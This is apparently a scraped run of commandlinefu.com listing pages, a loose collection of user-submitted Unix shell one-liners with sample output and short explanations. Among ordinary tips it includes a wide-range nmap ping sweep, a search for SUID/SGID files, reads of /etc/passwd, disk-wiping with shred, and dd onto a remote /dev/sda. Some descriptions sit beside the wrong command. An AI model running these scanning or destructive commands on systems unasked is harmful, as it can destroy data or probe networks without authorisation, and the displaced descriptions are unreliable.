filesystems to Ext4 Before doing this, back-up all data on any ext3 partitions that are to be converted to ext4. After running previous command you MUST run fsck, is needed to return the filesystem to a consistent state. fsck -pDf /dev/yourpartition Edit /etc/fstab and change the 'type' from ext3 to ext4 for any partitions that are converted to ext4. cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg Functions: cat nice To rip DVD movie to ogg format using ffmpeg, follow these steps. 1) find the vob files on the mounted video DVD in VIDEO_TS that stores the movie itself. There would be a few other VOB files that stores splash screen or special features, the vob files for the movie itself can be identified by its superior size. You can verify these vob files by playing them directly with a player (e.g. mplayer) 2) concatenate all such vob files, pipe to ffmpeg 3) calculate the video size and crop size. The ogg video size must be multiple of 16 on both width and height, this is inherit limitation of theora codec. In my case I took 512x384. The -vcodec parameter is necessary because ffmpeg doesn't support theora by itself. -acodec is necessary otherwise ffmpeg uses flac by default. for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done eth0 eth1 eth2 eth3 eth-tool summary of eth# devices Give the Speed and Link status of eth# 0-3. This is sort of what mii-tool does, but eth-tool is better, yet lacks device discovery. find . -type f -exec sed -i s/oldstring/newstring/g {} + This command find all files in the current dir and subdirs, and replace all occurances of "oldstring" in every file with "newstring". scrot -ucd4 -e 'eog $f' Taking shot in 4.. 3.. 2.. 1.. 0. [image opens] Take a screenshot of the focused window with a 4 second countdown # shorten by adding to your .bashrc: alias sss='scrot -ucd4 && eog $(ls -tr | tail -n1)' echo -e "\nalias sss='scrot -ucd4 && eog $(ls -tr | tail -n1)'" >> ~/.bashrc -d 4 second delay -c display countdown -u focused window man scrot for more flags curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG" This is great if you are behind a router that does not support dynamic dns updates! Example: AT&T u-verse gateway... Put this in a script and run it as a cron job. dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done 176 acl 44 acpi 396 acpi-support 32 acpi-support-base 108 acpid 524 adduser 408 akonadi-server 2416 akregator 388 alsa-base 1840 alsa-utils 1860 amor 96 anacron 120 apmd 4512 apt 104 apt-file 376 apt-utils 140 apt-xapian-index 9184 aptitude 112 at 104 avahi-autoipd 252 avahi-daemon 260 base-files 100 base-passwd du: cannot access `diverted by dash to: /usr/share/man/man1/sh.distrib.1.gz': No such file or directory du: cannot access `diverted by dash to: /bin/sh.distrib': No such file or directory Functions: bash cut du echo read sed tail tr xargs Calculates the size on disk for each package installed on the filesystem (or removed but not purged). This is missing the | sort -rn which would put the biggest packges on top. That was purposely left out as the command is slightly on the slow side Also you may need to run this as root as some files can only be checked by du if you can read them ;) cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz hendry@x61 tartest$ tar cvfz 1.tar.gz 1/ 1/ 1/1 hendry@x61 tartest$ tar cvfz 2.tar.gz 2/ 2/ 2/2 hendry@x61 tartest$ ls -l total 16 drwxrwxr-x 2 hendry hendry 4096 May 5 15:21 1 -rw-rw-r-- 1 hendry hendry 134 May 5 15:21 1.tar.gz drwxrwxr-x 2 hendry hendry 4096 May 5 15:21 2 -rw-rw-r-- 1 hendry hendry 137 May 5 15:22 2.tar.gz hendry@x61 tartest$ rm -rf 1 2 total 8 -rw-rw-r-- 1 hendry hendry 134 May 5 15:21 1.tar.gz -rw-rw-r-- 1 hendry hendry 137 May 5 15:22 2.tar.gz hendry@x61 tartest$ cat 1.tar.gz 2.tar.gz > 3.tar.gz hendry@x61 tartest$ tar zxvfi 3.tar.gz Functions: cat tar Merge tarballs Requires the GNU tar ignore zeros option. http://www.gnu.org/software/tar/manual/html_section/Blocking.html dd if=/dev/zero of=foo.txt bs=1M count=1 find . -exec `alias foo | cut -d"'" -f2` {} \; Functions: cut find Trick find -exec option to execute alias An alias cannot be executed as command in a find -exec line. This form will trick the command line and let you do the job. cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null" Checks throughput between two nodes This will show the throughput between two nodes. Thanks to szboardstretcher, who posted it here: http://www.linuxquestions.org/questions/linux-networking-3/quick-and-easy-way-to-measure-throughput-between-two-nodes-868998/ apt-file search iostat Find the package a command belongs to on debian-based distros du -hs * | grep '^[0-9,]*[MG]' | sort -rn 170M Richard Stevens TCP-IP Illustrated Vol 2.pdf 153M Richard_Stevens_UNIX_Network_Programming_Sec_Ed_Vol_1.pdf 126M Rederik_Smith_Full_Docs_FreeBSD_rus.pdf 117M WhiteParus.Unix.Rukovodstvo_Sysadmina.pdf 115M Richard_Stevens_Advanced_Programming_in_the_UNIX_Environment.pdf 89M Richard Stevens Tcp-Ip Illustrated Vol 1.pdf 80M Richard_Stevens_UNIX_Network_Programming_Sec_Ed_Vol_2.pdf 73M IEEE 22M tannenbaum Functions: du grep sort Show sorted list of files with sizes more than 1MB in the current dir Taken from here: http://linsovet.com/directory-usage-size-sorted-list ‹ First < 62 63 64 65 66 > Last › quota -q $(cat /etc/passwd|cut -d ':' -f 1) Disk quotas for user ****** (uid 1021): Disk quotas for user ****** (uid 1037): Functions: cat cut quota Report all quota usage Check disk quota for all user gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf Merge several pdf files into a single file merge a.pdf b.pdf and c.pdf and create ./out.pdf ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk An email saying "brandx.jp.sme ping failed" Functions: echo mail ping Check a server is up. If it isn't mail me. Joker wants an email if the Brand X server is down. Set a cron job for every 5 mins with this line and he gets an email when/if a ping takes longer than 3 seconds. nmap -v -sP 192.168.0.0/16 10.0.0.0/8 Starting Nmap 5.21 ( http://nmap.org ) at 2010-07-01 XX:XX EDT Initiating Ping Scan at XX:XX Scanning 4096 hosts [2 ports/host] Completed Ping Scan at XX:XX, 1.50s elapsed (31 total hosts) Initiating Parallel DNS resolution of 4096 hosts. at XX:XX Completed Parallel DNS resolution of 4096 hosts. at XX:XX, 0.00s elapsed Nmap scan report for 10.0.0.1 [host down] [... snip ...] Nmap scan report for host1.localdomain (10.0.0.21) Host is up (0.00031s latency). Nmap scan report for host2.localdomain (10.0.0.22) Host is up (0.00041s latency). Nmap scan report for 10.0.0.23 Host is up (0.00039s latency). Nmap scan report for host3.localdomain (10.0.0.24) Host is up (0.00037s latency). Nmap scan report for 10.0.0.25 [host down] Nmap scan report for 10.0.0.26 [host down] Nmap scan report for 10.0.0.27 [host down] Nmap scan report for host4.localdomain (10.0.0.28) Host is up (0.0047s latency). Nmap scan report for 10.0.0.29 [host down] Nmap scan report for 10.0.0.30 [host down] Nmap scan report for 10.0.0.31 Host is up (0.0033s latency). Nmap scan report for 10.0.0.32 Host is up (0.0031s latency). Nmap scan report for 10.0.0.33 [host down] Nmap scan report for 10.0.0.34 [host down] Nmap scan report for 10.0.0.48 [host down] Nmap scan report for 10.0.0.49 [host down] Nmap scan report for 10.255.255.255 [host down] Nmap done: 4096 IP addresses (7 hosts up) scanned in XXX seconds nmap for windows and other platforms is available on developer's site: http://nmap.org/download.html nmap is robust tool with many options and has various output modes - is the best (imho) tool out there.. from nmap 5.21 man page: -oN/-oX/-oS/-oG : Output scan in normal, XML, s| mii-tool [if] Check the status of a network interface find . -not \( -name .svn -prune \) Skip over .svn directories when using the "find" command. The "find" command can be annoying when used inside of a Subversion (or CVS) working directory. Obviously, you can combine this with other predicates and commands to create a more elaborate pipeline: find /var/svn -type f -not \( -name .svn -prune \) -print0 | xargs -0 md5sum Note: You can use my "dont-go-there.sh" script to wrap the "find" command and do this automatically at http://forwardlateral.com/blog/2006/02/27/dont-go-there/ vlock This TTY is now locked. Please press [ENTER] to unlock. Virtual Console lock program vlock command locks the current console by default. Also you can lock all the consoles on the server by using -a parameter. For details, pl man vlock. ps: Generally speaking , system will not install vlock programme . So you should use ' $ sudo apt-get install vlock ' to install vlock . find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done #For each audio file, it prints audio.flac: done LAME 3.98.2 64bits (http://www.mp3dev.org/) Using polyphase lowpass filter, transition band: 18671 Hz - 19205 Hz Encoding <stdin> Encoding as 44.1 kHz j-stereo MPEG-1 Layer III (7.3x) 192 kbps qval=3 flac 1.2.1, Copyright (C) 2000,2001,2002,2003,2004,2005,2006,2007 Josh Coalson flac comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. Type `flac' for details. Functions: find read Convert all .flac from a folder subtree in 192Kb mp3 find . -type f -iname '*.flac' # searches from the current folder recursively for .flac audio files | # the output (a .flac audio files with relative path from ./ ) is piped to while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done # for each line on the list: # FILE gets the file with .flac extension and relative path # FILENAME gets FILE without the .flac extension # run flac for that FILE with output piped to lame conversion to mp3 using 192Kb bitrate echo -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n convert $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all Functions: echo make 'hpc' in the shell - starts a maximum of n compute commands modulo n controlled in parallel, using make this oneliner uses make and it's jobserver for parallel execution of your script. The '-j' flag for make defines number of subprocesses to launch, '-f' tells make use stdin instead of Makefile. Also make have neat flag '-l', which "Specifies that no new jobs (commands) should be started if there are others jobs running and the load is at least load (a floating-point number)." Also you can use plain Makefile, for better readability: targets = $(subst .png,.jpg,$(wildcard *.png)) (targets): echo convert $(subst .jpg,.png,$@) $@ all : $(targets) tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done Functions: date echo file read tail This is useful when watching a log file that does not contain timestamps itself. If the file already has content when starting the command, the first lines will have the "wrong" timestamp when the command was started and not when the lines were originally written. find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g cp@lilith:~ > find Downloads/ -type f | awk -F'.' '{print $NF}' |sort|uniq -c|sort -g |tail Functions: awk find sort uniq list all file extensions in a directory ... plus do a sort according frequency cut -d: -f1 /etc/passwd | sort Lists all usernames in alphabetical order wget -O - -q icanhazip.com 150.162.64.156 I dont have curl or links installed, so I use wget with write file as standard out. shutdown -h +240 shutdown pc in a 4 hours you may as well use shutdown -h 18:32 to shutdown your machine at 18:32. rm ./-filename $ touch ./-filename $ rm "-filename" rm: invalid option -- l $ rm ./-filename Remove a file whose name begins with a dash ( - ) character Using the redundant ./ directory information prevents the dash from occurring at the beginning of the filename, and being interpreted as an option of the rm command. Also works using: rm -- -filename tar -cf ~/out.tar --no-recursion --files-from <(find . -type d) Functions: find tar Create a tar of directory structure only TZ=Indian/Maldives date Want to known what time is it in another part of the world ? available timezone can be found in /usr/share/zoneinfo. Other examples: TZ=Europe/Paris date; TZ=Australia/Sydney date; TZ=America/New_York date this is based on zoneinfo files on macosx. Your mileage my vary on other unix dialects g~w Change the case of a single word in vim In edit mode, toggle the case of a single word under the cursor in vim. export PS1="\[\017\033[m\033[?9l\033[?1000l\]$PS1" Clean up display when the bash prompt is displayed This will cause bash to fix a garbled terminal before the prompt is printed. For example, if you cat a file with nonprintable character sequences, the terminal sometimes ends up in a mode where it only prints line drawing characters. This sequence will return the terminal to the standard character set after every command. links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=United_States®ion=Wisconsin&city=Portage" | sed -n '/--/,/--/p' -------------------------------------------------------------------------- SATELLITE LOCAL DURATION MAX ELEV APPROACH DEPARTURE Get International Space Station sighting information for your city This command outputs a table of sighting opportunities for the International Space Station. Find the URL for your city here: http://spaceflight.nasa.gov/realdata/sightings/ cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'" Note to self, ban user 'aoluser' Note to self, ban user 'msnuser' Functions: cd cut echo egrep sort uniq xargs Find and list users who talk like "lolcats" Greps IRC logs for phrases and lists users who said them. dig foo.org mx +short Get MX records for a domain ( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less Functions: last ls read rm zcat See a full last history by expanding logrotated wtmp files When your wtmp files are being logrotated, here's an easy way to unpack them all on the fly to see more than a week in the past. The rm is the primitive way to prevent symlink prediction attack. resize hendry@i7 ~$ resize COLUMNS=208; LINES=73; export COLUMNS LINES; Get size of terminal See the cols and lines and make sure the console it correctly configured for the screen size. mount -t proc{,,} Mount proc Run this in / in a chroot to get your own proc there. ‹ First < 63 64 65 66 67 > Last › gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers) 2009 Su Mo Tu We Th Fr Sa CW Su Mo Tu We Th Fr Sa CW Su Mo Tu We Th Fr Sa CW 4 5 6 7 8 9 10 01 8 9 10 11 12 13 14 06 8 9 10 11 12 13 14 10 5 6 7 8 9 10 11 14 3 4 5 6 7 8 9 18 7 8 9 10 11 12 13 23 [truncated for brevity] NB when you run this gcal command in your shell, holidays are highlighted but this highlighting does not show in the sample output (above). To find full details on gcal options: gcal --long-help | less Example for United States, Pennsylvania: gcal -K -q US_PA 2009 # display holidays in USA/Pennsylvania for 2009 (with week numbers) Example for Hong Kong: gcal -K -q HK 2009 # display holidays in Hong Kong for 2009 (with week numbers) ( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less Functions: zcat Group OR'd commands where you expect only one to work Something to stuff in an alias when you are working in multiple environments. The double-pipe OR will fall through until one of the commands succeeds, and the rest won't be executed. Any STDERR will fall out, but the STDOUT from the correct command will bubble out of the parenthesis to the less command, or some other command you specify. echo "text to be displayed" | pv -qL 10 Pipe Viewer allows you to monitor the progress of a data transfer or command, or to show the time elapsed, among other things. In this use, it limits the transfer rate of the echo command to 10 bytes per second, making your text appear to be typed out in real time as in Hollywood movies. Fun! dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda Install a basic FreeBSD system Install a basic FreeBSD system on a distant server. I use this to install FreeBSD on servers that can only boot a Linux rescue system. This sytem loads on ram when booted, so it is possible to install freely. You can even install on ZFS root ! git archive HEAD --format=zip > archive.zip bash script to zip a folder while ignoring git files and copying it to dropbox Better tool for exporting git's repository is Git itself! inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u "$FILE"; done Functions: chmod read Trigger a command each time a file is created in a directory (inotify) Listens for events in the directory. Each created file is displayed on stdout. Then each fileline is read by the loop and a command is run. This can be used to force permissions in a directory, as an alternative for umask. More details: http://en.positon.org/post/A-solution-to-the-umask-problem%3A-inotify-to-force-permissions for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done This will convert filenames from uppercase to lowercase. I find this useful after downloading images from my digital camera. This works for English, but other languages may need something slightly more complex like this: for i in *; do mv "$i" "$(echo $i|tr [:upper:] [:lower:])"; done Also, the quote marks aren't necessary if your filenames don't contain spaces. watch -n 1 df Watch the disk fill up While copying a large file that may take up a good chunk of your hard drive, start the copy and run this command concurrently. It will print out the disk information every second. It's pretty handy when you have a large copy with nothing to monitor the progress. chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); } $ chr 65 A Function to output an ASCII character given its decimal equivalent I've corrected the function. My octal conversion formula was completely wrong. Thanks to pgas at http://mywiki.wooledge.org/BashFAQ/071 for setting me straight. The new function is from pgas and is very fast. seq -s " " -w 3 20 for loop with leading zero in bash 3 upper() { echo ${@^^}; } $ upper hello world HELLO WORLD Convert text to uppercase Usage: upper [STRING]... ls | vim +'set bt=nowrite' - Functions: ls vim vim read stdin locate searchstring | xargs ls -l Functions: locate ls xargs do a full file listing of every file found with locate eh () { history -a ; vi ~/.bash_history ; history -r ; } function to edit your history file eh stands for Edit History Frequently, I'll mistype a command, and then step back through my history and correct the command. As a result, both the correct and incorrect commands are in my history file. I wanted a simple way to remove the incorrect command so I don't run it by mistake. When running this function, first the ~/bash_history file is updated, then you edit the file in vi, and then the saved history file is loaded back into memory for current usage. while in vi, remember that `Shift-G` sends you to the bottom of the file, and `dd` removes a line. this command is different than bash built-in `fc` because it does not run the command after editing. cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys" Enter your ssh password one last time Enter your ssh public key in the remote end for future key-based authentication. Just type your password one last time. The next time you should be able to login with the public key. If you don't have a key, generate one with ssh-keygen. Requires Bourne-compatible shell in the remote end. watch -t -n1 'date "+%r %F %A"' 08:03:57 PM 2011-02-15 Tuesday Console clock Shows a simple clock in the console -t param removes the watch header Ctrl-c to exit <command>; echo "job done"|mail email@email.com -s'job done' mysqldump -A; echo "job done"|mail 5551231234@vzwpix.com -s'job done' sends a txt message to your phone tell you the job is done. Functions: echo mail Email yourself after a job is done This is a two part command that comes in really handy if you're running commands that take longer than you're willing to wait. The commands are separated by the semicolon(;) The first command is whatever you're attempting to do. The second commands emails you after the job completes. date -d '2 weeks ago' Use date to find the date at other days and times. find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \; Finding all files on local file system with SUID and SGID set perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg' Multi-line grep Using perl you can search for patterns spanning several lines, a thing that grep can't do. Append the list of files to above command or pipe a file through it, just as with regular grep. If you add the 's' modifier to the regex, the dot '.' also matches line endings, useful if you don't known how many lines you need are between parts of your pattern. Change '*' to '*?' to make it greedy, that is match only as few characters as possible. See also http://www.commandlinefu.com/commands/view/1764/display-a-block-of-text-with-awk to do a similar thing with awk. Edit: The undef has to be put in a begin-block, or a match in the first line would not be found. dd bs=1 seek=2TB if=/dev/null of=ext3.test Create a large test file (taking no space). :!cp % %- Create a backup of file being edited while using vi At the start of a vi session and *before* saving any changes use ":!cp % %-" to make a backup of the current file being edited. example: vi /data/some/long/path/file :!cp% %- creates /data/some/long/path/file- sudo -u username bash Switch to a user with "nologin" shell You need sudo privileges for this command. Replace username with actual username. while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done Repeatedly purge orphaned packages on Debian-like Linuxes find /tmp -type f -atime +1 -delete cleanup /tmp directory Cleans all files in /tmp that have been accessed at least 2 days ago. ‹ First < 64 65 66 67 68 > Last › mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p] Use a Gmail virtual disk (GmailFS) on Ubuntu Packages: gmailfs fuse-utils libfuse2 gvfs-fuse Config files: /etc/gmailfs/gmailfs.conf; ~/.gmailfs.conf (make a copy from the another one) Unmount: fusermount -u /mount/path/ /etc/fstab (Optional): none /mount/path/ gmailfs noauto,user[,username=USERNAME,password=PASSWORD,fsname=VOLUME] 0 0 NOTES: - The options between [] are optional since they already setuped on the config files. - The '-p' flag shows a prompt for the password entry. - It's necessary to add the user to the 'fuse' group. You can do that with: sudo chgrp fuse /dev/fuse sudo usermod -a -G fuse USER - The volume name is not needed but highly recommended to avoid file corruption. Also choose a non-trivial name. - Google doesn't approve the use of Gmail account other than e-mail purposes. So, I recommend the creation of a new account for this. Type "c-a b" in gnu screen after updating your .screenrc (See Description below). Filter running: ... /bin/sh -c xsel -i -b < /tmp/screen-exchange Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux) This command will let you just type c-a b (which means press 'ctrl' then 'a' then 'b'), and screen will save your copy buffer to /tmp/screen-exchange, and then execute xsel to copy the contents of that file into the system's X clipboard. 1. Install Conrad Parker's xsel from http://www.vergenet.net/~conrad/software/xsel/ 2. Add these lines to your .screenrc # Add cool line to make copying to x clipboard possible. # This binds C-a b to copy screen's copy buffer to the system clipboard. bind b eval writebuf 'exec /bin/sh -c "xsel -i -b < /tmp/screen-exchange"' 'exec /bin/sh -c "killall xsel"' 3. Restart screen. 4. Test it by typing c-a [ to enter copy mode. 5. Select some text using vi movement keys (h, j, k, l, etc...) and starting your selection by hitting the space bar, moving with vi movement keys, and then ending your selection with the space bar. 6. Type C-a b, and screen will use xsel to copy your screen copy buffer to the system's X clipboard buffer. 7. Then you can paste the screen copy buffer into any X program. Note: If you're using Mac OSX, you can use pbcopy instead of xsel. Also Note: The second exec in the .screenrc file, which runs killall on xsel, is necessary, because even when you redirect a file to xsel, xsel waits for you to press ctrl-c to kill it, and have it stop waiting for more input. Since xsel forces screen to wait, and I don't want to press ctrl-c, I send the equivalent of ctrl-c with killall causing xsel to write /tmp/screen-exchange to the X clipboard, and then exit. It's a hack, but it works. If you know how to get this to work without a lame hack leave a comment explaining how. Get your public ip echo 'graph{node[shape=record];rankdir=LR;matrix[label="{1|2|3}|{4|5|6}|{7|8|9}",color=red]}' | dot -Tpng | display Functions: dot echo draw matrix using dot tail -F file | egrep --color 'pattern|$' Functions: egrep file tail tail, with specific pattern colored mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME dump a single table of a database to file strace -f -s 512 -v ls -l 23155 execve("/bin/ls", ["ls", "-l"], [/* 40 vars */]) = 0 23155 brk(0) = 0x1bad000 23155 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faa66e30000 23155 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 23155 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7faa66e2e000 23155 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) 23155 open("/etc/ld.so.cache", O_RDONLY) = 3 23155 fstat(3, {st_mode=S_IFREG|0644, st_size=119879, ...}) = 0 23155 mmap(NULL, 119879, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7faa66e10000 23155 close(3) = 0 23155 open("/lib/librt.so.1", O_RDONLY) = 3 Functions: ls strace trace the system calls made by a process (and its children) strace can be invaluable in trying to figure out what the heck some misbehaving program is doing. There are number of useful flags to limit and control its output, and to attach to already running programs. (See also 'ltrace'.) shopt -s cdspell Enable automatic typo correction for directory names utime { date -d @$1; } $ utime 1000000000 Sat Sep 8 21:46:40 EDT 2001 Easily decode unix-time (funtion) More recent versions of the date command finally have the ability to decode the unix epoch time into a human readable date. This function makes it simple to utilize this feature quickly. python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i' Fizz Buzz 7 11 14 FizzBuzz 16 17 19 22 23 26 28 29 31 38 41 43 44 46 47 49 52 53 58 59 61 62 64 67 68 71 73 74 76 77 79 82 83 86 88 91 92 94 97 98 FizzBuzz one-liner in Python A common programming question for interviewers to ask potential job candidates is to code "FizzBuzz". That is, if a number is divisible by 3, then it should display "Fizz". If a number is divisible by 5, it should display "Buzz". If it is divisible by both, then it should display "FizzBuzz". Otherwise, display the current number between 1 and 100. mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; } Functions: dig sed netstat -ntauple tree -C | less -R Preserve colors when piping tree to less shred targetfile Securely destroy data (including whole hard disks) GNU shred is provided by the coreutils package on most Linux distribution (meaning, you probably have it installed already), and is capable of wiping a device to DoD standards. You can give shred any file to destroy, be it your shell history or a block device file (/dev/hdX, for IDE hard drive X, for example). Shred will overwrite the target 25 times by default, but 3 is enough to prevent most recovery, and 7 passes is enough for the US Department of Defense. Use the -n flag to specify the number of passes, and man shred for even more secure erasing fun. Note that shredding your shell history may not be terribly effective on devices with journaling filesystems, RAID copies or snapshot copies, but if you're wiping a single disk, none of that is a concern. Also, it takes quite a while :) server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x+=`dig @${server} $host | grep "Query time" | cut -f 4 -d " "`; done && echo "scale=3;($x/${queries})" | bc Functions: cut echo grep duration of the DNS-query modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d' Functions: cut modinfo sed Short Information about loaded kernel modules I modify 4077 and marssi commandline to simplify it and skip an error when parsing the first line of lsmod (4077). Also, it's more concise and small now. I skip using xargs ( not required here ). This is only for GNU sed. For thoses without GNU sed, use that : modinfo $(lsmod | awk 'NR>1 {print $1}') | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d google youtube post --title "My\ Video" --category Education ~/myvideo.avi Loading myvideo.avi kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'` No output. But if you want to see the PIDs of your Zombies' parents just use this piece: ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2} Functions: awk grep kill Kill all Zombie processes (Guaranteed!) It identifies the parents of the Zombie processes and kill them. So the new parent of orphan Zombies will be the Init process and he is already waiting for reaping them. Be careful! It may also kill your useful processes just because they are not taking care and waiting for their children (bad parents!). tee >(cat - >&2) $ bash --version |tee >(cat - >&2) | wc -l GNU bash, version 3.2.49(1)-release (i586-suse-linux-gnu) Copyright (C) 2007 Free Software Foundation, Inc. Functions: cat tee tee to a file descriptor the tee command does fine with file names, but not so much with file descriptors, such as &2 (stderr). This uses process redirection to tee to the specified descriptor. In the sample output, it's being used to tee to stderr, which is connected with the terminal, and to wc -l, which is also outputting to the terminal. The result is the output of bash --version followed by the linecount wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts - Block the 6700 worst spamhosts The above url contains over 6700 of the common ad websites. The command just pastes these into your /etc/hosts. for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s ' '; echo -e "\e[m" Functions: column echo I like the other three versions but one uses nested loops and another prints every color on a separate line. Both versions fail to reset colors before giving the prompt back. This version uses the column command to print a table so all the colors fit on one screen. It also resets colors back to normal before as a last step. sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymissing |sed "s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyserver pool.sks-keyservers.net --recv $key && gpg --export --armor $key |sudo apt-key add -; done Functions: echo gpg grep sed sudo Auto Get Missing Launchpad Keys You can choose these mirror servers to get gpg keys, if the official one ever goes offline keyserver.ubuntu.com pool.sks-keyservers.net subkeys.pgp.net pgp.mit.edu keys.nayr.net keys.gnupg.net wwwkeys.en.pgp.net #(replace with your country code fr, en, de,etc) find . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC #Any folders containing .flac files will be copied to the destination. /Volumes/Music/FLAC/Music $ ls Albert King The Best of Albert King(flac)/ Cloud Kicker/ St Germain/ Astor Piazzolla(flac)/ Functions: cpio find Find all files of a type and copy them elsewhere while keeping intact their full directory structure using find and cpio .flac is the filetype. /Volumes/Music/FLAC is the destination. awk '{$1=""; print}' print all except first collumn xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png xwdtopnm: writing PPM file pnmtopng: 1 colors found When connected to a box via ssh you can do a quick screenshot of that box using this command. After that you can rscp it over to your box and look at it. ‹ First < 65 66 67 68 69 > Last › curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//' 4 nohup <command> & Runs a command without hangups. puts command in background and sends its output to nohup.out file it will not die if you log out fromyour shell session ;-) ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}' Functions: awk grep ps Apache memory usage sort -t. -k1,1n -k2,2n -k3,3n -k4,4n Sort IPV4 ip addresses fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; } ---- Check out hijacked files in clearcase xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new Binary search/replace Replaces A with B in binary file "orig" and saves the result to "new". You must have the hex representations of A & B. Try od: echo -e "A\c" | od -An -x sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename] fuman, an alternative to the 'man' command that shows commandlinefu.com examples Example: fuman sed awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/' Functions: awk modinfo xargs lsof | grep pcm List processes playing sound When trying to play a sound you may sometimes get an error saying that your sound card is already used, but not by what process. This will list all processes playing sound, useful to kill processes that you no longer need but that keep using your sound card. cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot $ cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot 60 .+-----+------+------+------+-------+------+------+------+------+-----++ 50 ++ ++ 40 ++ ++ 30 ++ ++ 20 ++ .. ++ 10 ++ .... ++ 0 ++-----+------+------+------+-------+------+------+------+------+-----++ Functions: awk cat head printf sort tr uniq Plot frequency distribution of words from files on a terminal. Uses the dumb terminal option in gnuplot to plot a graph of frequencies. In this case, we are looking at a frequency analysis of words in all of the .c files. shopt -s histappend Avoiding history file to be overwritten If histappend options is set in bash, the file .bash_history will not be overwrite and history list is append to it. find -iname '*mp3' -exec mid3iconv {} \; Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-02-Incredible.mp3 Updating 